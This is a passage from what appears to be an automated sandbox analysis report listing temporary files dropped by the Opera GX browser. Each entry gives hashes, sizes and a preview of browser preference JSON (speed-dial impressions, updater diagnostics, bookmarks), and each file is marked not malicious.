                                                                                                                                                                                                              SHA-512:31BF202122F5520625020C8316BBAC76EAD91D202E4680ED8F8D1EE40EAE715416D15C0FDA7BFB310B60DDFF091D34754C4E41AB7C731C5235CB795566806CA1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// mULbTfFRN5QAAEkbQHLcLdDdl/dzl6mYFknyNECC41A=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":4}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":5}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":5}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":4}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":4}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":5}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":5}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":5}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\701d894a-6565-4efd-a229-e01c09d9fb50.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.729516968538015
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D14F6FD2A5565AFDF80600E7ED26FE51
                                                                                                                                                                                                              SHA1:17F6A30DD223653ED07D1C819FED79BC77467F73
                                                                                                                                                                                                              SHA-256:DABC72D5A8A1320F5C304E87357D77D49E17FC174EB6E1295CE7910B6D38A59D
                                                                                                                                                                                                              SHA-512:09081719D3351A6162BAFC4324287BB5365B2D76651630C6EA3FD396963E7E9008DEA9831DA025EEF6BC0083722DE7259655A76F347DE1CB640C5B42D870A607
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 4i2cO7Aeu0Mdg4ArGkvxhUHPrqT3z7oh6mikm+McUxI=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\703a3f68-d33f-41a6-9bb3-c72867fd6343.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.729766253368813
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:44B0E9434D6866301612049C5F0CF562
                                                                                                                                                                                                              SHA1:D5D4E6A06D0979E70696BD81F54FE765779C1F5B
                                                                                                                                                                                                              SHA-256:373615125EE361425E5324431D6090A7A54E1EB47FBE9BFE8940A86AB39FD498
                                                                                                                                                                                                              SHA-512:4489A6E45804AFD516439B201CC47F19CE6BA06F42BC7AE37FACEDD016BF2178B58B46D4C8BDEEEB98936B8956950E0E554A2B0723E665819124DB37070F083E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// bUTRLNmNzFXn4mENkvinElLtsjrwx/fv5a5FMs7RaGo=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\76b3354f-c9da-47ac-8569-15ddfac72e1d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1043)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1091
                                                                                                                                                                                                              Entropy (8bit):5.715901262058371
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0ED6C87EEAD1F6BD5A1B907391E275B7
                                                                                                                                                                                                              SHA1:8383EBDC6D7A3E1367ADAE8CFD666EF32B9C4D17
                                                                                                                                                                                                              SHA-256:47DAC33A9DDB34697439E063CF0A061883241A490B0797F0AC017313AF6FB690
                                                                                                                                                                                                              SHA-512:BC6AB0D2E5A039F232510FBB3DDB4CD9B44D08A3E203A9502B061B08BA58FE7916A0071CD6B395ECE132C97D00199B77425E9FD0B549D2613352C444460AF0FA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// Kohw7ANlbNaL+uu6wBxTtwG7VJnqdTSeZyTQegFpAWs=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5LPYA/62dOiPE=":{"Impression":1}},"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"Impression":1}},"https://www.youtube.com/":{"Vr5ejLjQcpErr31xahnJSlXskHfMqZIa1pEIRlhJ35w=":{"Impression":1}}}}},"Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingReq

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\7b0032ef-b022-4113-a536-3e28cc28ec24.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10957
                                                                                                                                                                                                              Entropy (8bit):5.041533146389373
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D1818834A794980279A5AE45AB3EB27C
                                                                                                                                                                                                              SHA1:36EFCB969F9EE3BA17C53378346E030B6D9CD7E4
                                                                                                                                                                                                              SHA-256:C8DBB2D704D44E7417AFFF0E529B1603CE1227EBC0AE98DB87698D43948400EA
                                                                                                                                                                                                              SHA-512:569ABEBDF9BBC8C7D403D037EE3836157C4CFDC420C0C8CDD5A1FB57887BC248573F31A644145995231E2418CE8392746CB4371596E8F876E21AB32E730595EA
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":128},"autofill":{"last_version_deduped":128},"bookmarks":{"trash_cleaner":{"migration_applied":true}},"browser":{"window_placement":{"height":738,"left":206,"maximized":false,"top":169,"width":960}},"chars":{"next_check":"13373282108094826"},"consent_flow":{"consent_given":false},"default_search_provider":{"synced_guid":"FF57F01A-0718-44B7-8A1F-8B15BC33A50B"},"domain_diversity":{"last_reporting_timestamp":"13373282055163588"},"extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"last_opera_version":"128.0.6613.178","pinned_extensions":["igpdmclhhlcpoindmhkhillbfhdgoegm","ompjkhnkeoicimmaehlcmgmpghobbjoj","gojhcdgcpbpfigcaejpfhfegekdgiblk"]},"freedom":{"proxy_switcher":{"automatic_connection_update_applied":true,"forbidden":false,"stat_badge_state":"off"}},"gcm":{"product_category_for_subtypes":"com.operagx.windows"},"gx":{"chroma_e

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\7b2a6080-c412-40e4-bc9d-ad70215d4d0c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):19004
                                                                                                                                                                                                              Entropy (8bit):4.566485312657076
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:1B7084A7A35DC408CD3FEDA1BDD7ABFA
                                                                                                                                                                                                              SHA1:6DF92D8716509F4602DF960A03183DE2EFD5D8D5
                                                                                                                                                                                                              SHA-256:F4769AB62A3ED8A6CF5904B5954A0604298ADBB89C202993025E08B1F1A439B0
                                                                                                                                                                                                              SHA-512:D5562598307F8A3CCB1EFCD5CE40B24FAB7E2DBC62DE261479D4EADCF3F26C832B155AF74ADE6F892FCE2A3C022C2640E980A06ABF73954D9712ED3EDD5D2C91
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{.. "checksum": "dfc92d1e8125749d178f26bfd972aa6a",.. "roots": {.. "bookmark_bar": {.. "children": [ ],.. "date_added": "13373282048091764",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "0bc5d13f-2cba-5d74-951f-3f233fe6c908",.. "id": "1",.. "name": "Bookmarks bar",.. "type": "folder".. },.. "custom_root": {.. "pinboard": {.. "children": [ ],.. "date_added": "13373282048092464",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "00000000-0000-4000-a000-000000000907",.. "id": "7",.. "name": "Pinboard",.. "type": "folder".. },.. "speedDial": {.. "children": [ {.. "children": [ {.. "date_added": "13373282056556243",.. "date_last_used": "0",.. "guid": "61d90d03-c8a5-47d7-b977-0cfeb2860342",..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\803de356-c6e0-430e-88b9-9946ba23b780.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.7341432249331445
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:90C2E7AA1DC2EE0EB2FF0603F98F7125
                                                                                                                                                                                                              SHA1:255CEA95B25C1C32E6BE7208323C14A7D44E95D8
                                                                                                                                                                                                              SHA-256:78F9E416239BD3740095FE55770DB83CC098B9F88FE7866529FE9311975BF197
                                                                                                                                                                                                              SHA-512:470A07910217D686B3C4F53FE43252A21DD0EB772EC8388FBB2D18ACF9250F749A8B9606A9E8FFD6C2EA97C277408C7150CA85B42A551C7E6588B70891B3DC52
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// i1D64q+H2bsLxp/O/2Z8gG4ncSElsvC8K7HOYh42aXM=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\808d8ebb-6874-4a96-8cfb-ea17f6c09f37.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.7394246548591346
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:FE94AEE6827DC4D9FA0215C2E2232DD7
                                                                                                                                                                                                              SHA1:6166B17AF510C2ED6C030E359C82934626501302
                                                                                                                                                                                                              SHA-256:5E9F4A95F078E36674D487A416210A5DFDF1E5F41D1BB776F8D0B20C99163C59
                                                                                                                                                                                                              SHA-512:852EA086AB334191F6E71117469324B452A0413DA58EA37F04F3B947FFA9E241E5D7FE8D0A881CB525598A9AA13A634A541CD77D79A7F8717B956EC9F18260A2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// R8y50TMWccNVE6jeYBPVEjzvtoJPSuxO2DZJj4Csi7k=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\80c22f0d-283b-46d3-b456-60d5be43f049.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (568)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):616
                                                                                                                                                                                                              Entropy (8bit):5.619421659082411
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:442C03DAD4CF086462D8529AEC2DE8C2
                                                                                                                                                                                                              SHA1:0A1E358F5879509E47B5290ACA7770148F7EBB96
                                                                                                                                                                                                              SHA-256:A75BE1720E161C8E96D669DFBA581337CC06337EEF5F6A51121B3062EB79A45F
                                                                                                                                                                                                              SHA-512:66304D4F90FEAF5B143B16867AD8BCE93500FADD16E9062522085BF18BBF3C1CF755CEA5CF2B1AC40D5D56A21DF350AEA670B5ADBF4376EDA111BF9B121F62D7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// k1ueLAdPEi38FE7e25ic+6lPbIbVLF5bUp72wrkFwUc=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"Impression":1}},"https://www.youtube.com/":{"Vr5ejLjQcpErr31xahnJSlXskHfMqZIa1pEIRlhJ35w=":{"Impression":1}}}}},"Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingRequestsCount":1},"Process":{"Retries":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\838e3d46-6e90-40e4-9370-6103aa1b673d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.712156738329419
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4DAE223DE98FDBDA845D1654CF3E4D56
                                                                                                                                                                                                              SHA1:548F20BFBDBE1F93190CFDC4907455E300D6B9B0
                                                                                                                                                                                                              SHA-256:32A6B445BE1E225474235852A5C3632FA66866AD3566DA70D400D770546B702B
                                                                                                                                                                                                              SHA-512:CB7DE5D2ABAD39C3B5E0410478C10FF5D212E0A335397B2EB1095082E771F3407188F777E104FF6B13CD2B96EE7F4B815D120A364AD030DD1BC0798C5C322912
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// +d8sZZwTlu76n3ZKKqmShplL9YZyAB0C0wBu9W5ZRl0=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":4}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":4}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":4}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\8704cc01-559b-4c1f-8a18-44954374c694.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.754382736577945
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:89D1A54600CD594AE37454552AD15F54
                                                                                                                                                                                                              SHA1:59D57B530BC5E2785987384BC082FB666C34ED52
                                                                                                                                                                                                              SHA-256:10233BF1689ADA080BA90B27F615E7C0CFE1B160E86C78D9C544551791918B7F
                                                                                                                                                                                                              SHA-512:7AEBA3ED0900158D1FCBB921DA2EDC23B7BD469A759FDF8F4C400247B6D95720FA2E5E5D0C57BD801A317F6549B1F8441210D5FC0054B5E28D3577FE235A7521
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// +WCzpiCV+qg3Hfq1yoCv2uhZoBhy8vHWGBUErEAtEI8=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\8ad899ce-5e16-4c87-8e44-5433fa4e8e7e.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.734682824656354
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E78D5839E83DFA9FEA035D713A6983B4
                                                                                                                                                                                                              SHA1:3E96C86910A4CBDDA91CF96C7BCA5C99BFDB172F
                                                                                                                                                                                                              SHA-256:906DB4AA7DB55C1F086923353DC7EC0B70D21B4AD9234EA9D8FAD43604FFC76E
                                                                                                                                                                                                              SHA-512:B28420DE7FD0EA5EF2238E172810DE7E47D51D6F350A89C68A8674A39AB7F63F982A2203B466A1D8602F7D679278877B4508311A352FFAAF60DE269A6B4E37B4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// HotB6BFEKtkQCtfEk0K4ROZJQQhy8XCzNbQwXps2rc8=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\8c87a68c-efa9-4568-ad44-6e2ec2702c5a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3088
                                                                                                                                                                                                              Entropy (8bit):5.5033164473085225
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:140DB708D36C93C72FCF21E08DF71C74
                                                                                                                                                                                                              SHA1:041225279B994402C15356668892032260D81A56
                                                                                                                                                                                                              SHA-256:6B9A928C6303D09E7C1A8E46E29649B5EE433BE3AB23164A6550189D13150D4F
                                                                                                                                                                                                              SHA-512:AF2BE52A37B0799C6BCA52C434CE11E0DE9D00DDBD1D3EB5402C6613AF83DB22A5EE38986EF2D6100F91678121AE673B3401FD1986F8ED2F277F511471E99274
                                                                                                                                                                                                              Malicious:false
